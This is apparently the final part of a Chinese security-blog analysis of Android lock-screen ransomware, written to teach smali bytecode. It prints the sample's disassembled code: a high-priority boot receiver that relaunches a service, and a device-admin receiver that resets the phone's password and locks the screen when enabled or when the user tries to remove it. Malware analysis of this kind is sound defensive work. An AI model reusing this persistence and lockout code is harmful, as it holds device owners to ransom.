00000280 new-instance v15, StringBuffer
00000284 move-object/from16 v19, v15
00000288 move-object/from16 v15, v19
0000028C move-object/from16 v16, v19
00000290 invoke-direct/range StringBuffer-><init>()V, v16 .. v16 # stringbuffer3 = new StringBuffer()
00000296 move-object/from16 v16, v1
0000029A move-object/from16 v0, v16
0000029E iget-object v0, v0, s->Lycorisradiata:String
000002A2 move-object/from16 v16, v0
000002A6 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer3.append(this.Lycorisradiata)
000002AC move-result-object v15
000002AE const-string v16, "ebbcd47d6afa253eba111409c5ebe0a3751098207629ac6dcf5ffadff17f0330e3ed51aa320a6b30a613feffaf16a7bf"
000002B2 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer3.append(v16)
000002B8 move-result-object v15
000002BA invoke-virtual StringBuffer->toString()String, v15
000002C0 move-result-object v15
000002C2 move-object v6, v15
000002C4 move-object v15, v4
000002C6 invoke-static DU->getbah(String)String, v15
000002CC move-result-object v15
000002CE move-object v7, v15
000002D0 move-object v15, v5
000002D2 invoke-static DU->getbah(String)String, v15
000002D8 move-result-object v15
000002DA move-object v8, v15
000002DC move-object v15, v6
000002DE invoke-static DU->getbah(String)String, v15
000002E4 move-result-object v15
000002E6 move-object v9, v15
000002E8 move-object v15, v1
000002EA iget-object v15, v15, s->wb:TextView
000002EE move-object/from16 v16, v1
000002F2 move-object/from16 v0, v16
000002F6 iget-object v0, v0, s->des:DU
000002FA move-object/from16 v16, v0
000002FE move-object/from16 v17, v7
00000302 invoke-virtual/range DU->decrypt(String)String, v16 .. v17
00000308 move-result-object v16
0000030A invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.wb.append(s.des.decrypt(DU.getbah(v4)))
00000310 move-object v15, v1
00000312 iget-object v15, v15, s->bah:TextView
00000316 move-object/from16 v16, v1
0000031A move-object/from16 v0, v16
0000031E iget-object v0, v0, s->des:DU
00000322 move-object/from16 v16, v0
00000326 move-object/from16 v17, v8
0000032A invoke-virtual/range DU->decrypt(String)String, v16 .. v17
00000330 move-result-object v16
00000332 invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.wb.append(s.des.decrypt(DU.getbah(v5)))
00000338 move-object v15, v1
0000033A invoke-virtual s->getResources()Resources, v15
00000340 move-result-object v15
00000342 const/high16 v16, 0x7F060000
00000346 invoke-virtual/range Resources->openRawResource(I)InputStream, v15 .. v16
0000034C move-result-object v15
0000034E move-object v10, v15
00000350 move-object v15, v10
00000352 invoke-static BAH->getString(InputStream)String, v15 # string = BAH.getString(s.getResources().openRawResource(0x7F060000))
00000358 move-result-object v15
0000035A move-object v11, v15
0000035C move-object v15, v11
0000035E const-string v16, "\n"
00000362 const-string v17, ""
00000366 invoke-virtual/range String->replaceAll(String, String)String, v15 .. v17 # string.replaceAll("\n", "")
0000036C move-result-object v15
0000036E move-object v12, v15
00000370 move-object v15, v12
00000372 invoke-static DU->getsss(String)String, v15
00000378 move-result-object v15
0000037A move-object v13, v15
0000037C move-object v15, v1
0000037E iget-object v15, v15, s->cjk:TextView
00000382 move-object/from16 v16, v13
00000386 invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.cjk.append(DU.getsss(string))
0000038C move-object v15, v1
0000038E iget-object v15, v15, s->tv:TextView
00000392 move-object/from16 v16, v1
00000396 move-object/from16 v0, v16
0000039A iget-object v0, v0, s->des:DU
0000039E move-object/from16 v16, v0
000003A2 move-object/from16 v17, v9
000003A6 invoke-virtual/range DU->decrypt(String)String, v16 .. v17
000003AC move-result-object v16
000003AE invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16
:3B4
000003B4 return-void
:3B6
000003B6 move-exception v15
000003B8 move-object v4, v15
000003BA goto :3B4
.catch Exception {:1F8 .. :3B4} :3B6
.end method
s服务小结:主要提供解锁服务和一些布局界面的设置。
2) 开机完成的广播接收器bbb。
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
很明显,由下面的分析可以知道这是一个开机启动s服务的广播。
.method public onReceive(Context, Intent)V
.registers 18
.annotation system Signature
value = {
"(",
"Landroid/content/Context;",
"Landroid/content/Intent;",
")V"
}
.end annotation
.annotation runtime Override
.end annotation
00000000 move-object v0, p0
00000002 move-object/from16 v1, p1
00000006 move-object/from16 v2, p2 # mIntent
0000000A move-object v7, v2
0000000C invoke-virtual Intent->getAction()String, v7
00000012 move-result-object v7
00000014 const-string v8, "android.intent.action.BOOT_COMPLETED"
00000018 invoke-virtual String->equals(Object)Z, v7, v8 # mIntent.getAction.equals("android.intent.action.BOOT_COMPLETED")
0000001E move-result v7
00000020 if-eqz v7, :66
:24
00000024 move-object v7, v0
00000026 invoke-virtual bbb->abortBroadcast()V, v7 # this.abortBroadcast()
0000002C new-instance v7, Intent
00000030 move-object v14, v7
00000032 move-object v7, v14
00000034 move-object v8, v14
00000036 move-object v9, v1
:38
00000038 const-string v10, "com.cjk.s"
0000003C invoke-static Class->forName(String)Class, v10 # class.forName("com.cjk.s")
:42
00000042 move-result-object v10
00000044 invoke-direct Intent-><init>(Context, Class)V, v8, v9, v10 # intent2 = new Intent(context, class.forName("com.cjk.s"))
0000004A move-object v4, v7
0000004C move-object v7, v4
0000004E const/high16 v8, 0x10000000
00000052 invoke-virtual Intent->addFlags(I)Intent, v7, v8 # intent2.addFlags(0x10000000)
00000058 move-result-object v7
0000005A move-object v7, v1
0000005C move-object v8, v4
0000005E invoke-virtual Context->startService(Intent)ComponentName, v7, v8 # startService(intent2)
00000064 move-result-object v7
:66
00000066 return-void
3)设备管理员激活时的广播接收器。
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
一旦用户点击确认激活设备管理器,首先执行onEnabled方法,重置锁屏密码,然后触发密码更改后调用的方法onPasswordChanged,进行了锁屏行为,并且在用户想要解除该设备管理员身份的时候也会进行锁屏行为。
.method public onEnabled(Context, Intent)V
.registers 22
.annotation system Signature
value = {
"(",
"Landroid/content/Context;",
"Landroid/content/Intent;",
")V"
}
.end annotation
.annotation runtime Override
.end annotation
00000000 move-object/from16 v0, p0
00000004 move-object/from16 v1, p1
00000008 move-object/from16 v2, p2
0000000C move-object v11, v1
0000000E invoke-virtual Context->getResources()Resources, v11
00000014 move-result-object v11
00000016 const v12, 0x7F060002
0000001C invoke-virtual Resources->openRawResource(I)InputStream, v11, v12
00000022 move-result-object v11
00000024 move-object v4, v11
00000026 move-object v11, v4
00000028 invoke-static BAH->getString(InputStream)String, v11 # BAH.getString(context.getResources().openRawResource(0x7f060002))
0000002E move-result-object v11
00000030 move-object v5, v11
00000032 move-object v11, v5
00000034 const-string v12, "\n"
00000038 const-string v13, ""
0000003C invoke-virtual String->replaceAll(String, String)String, v11, v12, v13
00000042 move-result-object v11
00000044 move-object v6, v11
00000046 move-object v11, v6
00000048 invoke-static DU->getsss(String)String, v11 # passwd = DU.getsss(BAH.getString(context.getResources().openRawResource(0x7f060002)).replace("\n", ""))
0000004E move-result-object v11
00000050 move-object v7, v11
00000052 new-instance v11, Intent
00000056 move-object/from16 v18, v11
0000005A move-object/from16 v11, v18
0000005E move-object/from16 v12, v18
00000062 move-object v13, v1
:64
00000064 const-string v14, "com.cjk.s"
00000068 invoke-static Class->forName(String)Class, v14
:6E
0000006E move-result-object v14
00000070 invoke-direct Intent-><init>(Context, Class)V, v12, v13, v14 # intent = new Intent(Class.forName("com.cjk.s"))
00000076 move-object v8, v11
00000078 move-object v11, v8
0000007A const/high16 v12, 0x10000000
0000007E invoke-virtual Intent->setFlags(I)Intent, v11, v12
00000084 move-result-object v11
00000086 move-object v11, v1
00000088 move-object v12, v8
0000008A invoke-virtual Context->startService(Intent)ComponentName, v11, v12 # startService(intent)
00000090 move-result-object v11
00000092 move-object v11, v0
00000094 move-object v12, v1
00000096 invoke-virtual MyAdmin->getManager(Context)DevicePolicyManager, v11, v12 # this.getManager(context)
0000009C move-result-object v11
0000009E move-object v12, v7
000000A0 const/4 v13, 0
000000A2 invoke-virtual DevicePolicyManager->resetPassword(String, I)Z, v11, v12, v13 # this.getManager(context).resetPassword(passwd, 0)
000000A8 move-result v11
000000AA move-object v11, v0
000000AC move-object v12, v1
000000AE move-object v13, v2
000000B0 invoke-super DeviceAdminReceiver->onEnabled(Context, Intent)V, v11, v12, v13
000000B6 return-void
代码大致相同,不再赘述。
@Override public void onPasswordChanged(Context arg13, Intent arg14) {
String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
super.onPasswordChanged(arg13, arg14);
}
@Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
return super.onDisableRequested(arg13, arg14);
}
4) 启动Activity主要在oncreate方法中,调用了开启激活设备管理员的界面。
.method private activiteDevice()V
.registers 15
.annotation system Signature
value = {
"()V"
}
.end annotation
00000000 move-object v0, p0
00000002 new-instance v6, Intent
00000006 move-object v13, v6
00000008 move-object v6, v13
0000000A move-object v7, v13
0000000C const-string v8, "android.app.action.ADD_DEVICE_ADMIN"
00000010 invoke-direct Intent-><init>(String)V, v7, v8 # intent = new Intent("android.app.action.ADD_DEVICE_ADMIN")
00000016 move-object v2, v6
00000018 new-instance v6, ComponentName
0000001C move-object v13, v6
0000001E move-object v6, v13
00000020 move-object v7, v13
00000022 move-object v8, v0
:24
00000024 const-string v9, "com.cjk.MyAdmin"
00000028 invoke-static Class->forName(String)Class, v9 # Class.forName("com.cjk.MyAdmin")
:2E
0000002E move-result-object v9
00000030 invoke-direct ComponentName-><init>(Context, Class)V, v7, v8, v9 # mConponent = new ComponentName(this, Class.forName("com.cjk.MyAdmin"))
00000036 move-object v3, v6
00000038 move-object v6, v2
0000003A const-string v7, "android.app.extra.DEVICE_ADMIN"
0000003E move-object v8, v3
00000040 invoke-virtual Intent->putExtra(String, Parcelable)Intent, v6, v7, v8 # intent.putExtra("android.app.extra.DEVICE_ADMIN", mConponent)
00000046 move-result-object v6
00000048 move-object v6, v0
0000004A move-object v7, v2
0000004C const/4 v8, 0
0000004E invoke-virtual M->startActivityForResult(Intent, I)V, v6, v7, v8 # startActivityForResult(intent, 0)
总结
至此,基本全部分析完毕,主要在这个分析的过程中来了解smali语法,当编译成java的语法出错时可以看汇编代码,当然也可以尝试进行一些软件破解行为。
参考
google官方smali语法 https://source.android.com/devices/tech/dalvik/dalvik-bytecode
Dalvik opcodes http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
深入理解Dalvik字节码指令及Smali文件 https://blog.csdn.net/dd864140130/article/details/52076515
*本文作者:xiongchaochao,转载请注明来自FreeBuf.COM